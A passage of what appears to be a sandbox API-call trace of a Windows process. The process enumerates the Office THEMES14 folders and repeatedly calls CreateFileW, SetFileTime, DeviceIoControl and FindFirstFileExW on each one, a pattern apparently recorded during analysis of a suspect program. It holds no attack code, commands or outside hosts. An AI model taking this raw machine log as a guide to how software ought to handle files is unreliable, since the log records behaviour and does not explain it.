fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.458] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.458] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a3638, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a3638, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.458] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.459] GetLastError () returned 0x12 [0144.459] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.459] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.459] GetLastError () returned 0x12 [0144.459] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.459] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.461] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.461] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a3cc0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a3cc0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.461] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.462] GetLastError () returned 0x12 [0144.462] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.462] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.462] GetLastError () returned 0x12 [0144.462] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.462] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.465] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.465] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a3cc0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a3cc0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.465] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.466] GetLastError () returned 0x12 [0144.466] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.466] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.466] GetLastError () returned 0x12 [0144.466] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.468] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.468] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a3cc0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a3cc0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.468] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.469] GetLastError () returned 0x12 [0144.469] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.469] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.469] GetLastError () returned 0x12 [0144.470] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.471] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.472] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a3cc0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a3cc0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.472] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.472] GetLastError () returned 0x12 [0144.472] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.472] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.473] GetLastError () returned 0x12 [0144.473] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.475] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.475] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a5cc0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a5cc0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.475] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.476] GetLastError () returned 0x12 [0144.476] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.476] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.476] GetLastError () returned 0x12 [0144.476] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.478] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.478] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a5cc0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a5cc0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.478] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.479] GetLastError () returned 0x12 [0144.479] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.479] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.480] GetLastError () returned 0x12 [0144.480] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.480] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.481] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.481] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a5cc0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a5cc0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.481] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.482] GetLastError () returned 0x12 [0144.482] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.482] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.483] GetLastError () returned 0x12 [0144.483] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.485] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.485] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a5cc0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a5cc0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.485] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.486] GetLastError () returned 0x12 [0144.486] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.486] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.486] GetLastError () returned 0x12 [0144.486] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.489] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.489] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a63c8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a63c8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.489] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.497] GetLastError () returned 0x12 [0144.497] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.498] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.498] GetLastError () returned 0x12 [0144.498] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.499] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.499] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a63c8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a63c8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.499] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.500] GetLastError () returned 0x12 [0144.500] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.500] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.501] GetLastError () returned 0x12 [0144.501] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.503] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.503] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9a63c8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9a63c8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.503] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.504] GetLastError () returned 0x12 [0144.504] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, 